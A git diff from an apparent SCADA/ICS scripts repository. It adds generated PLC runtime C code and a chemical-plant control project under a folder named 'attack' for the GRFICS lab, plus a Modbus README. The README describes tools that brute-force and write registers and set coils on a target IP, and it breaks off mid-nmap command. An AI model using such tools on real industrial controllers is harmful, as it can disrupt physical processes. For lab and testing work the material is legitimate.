LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script 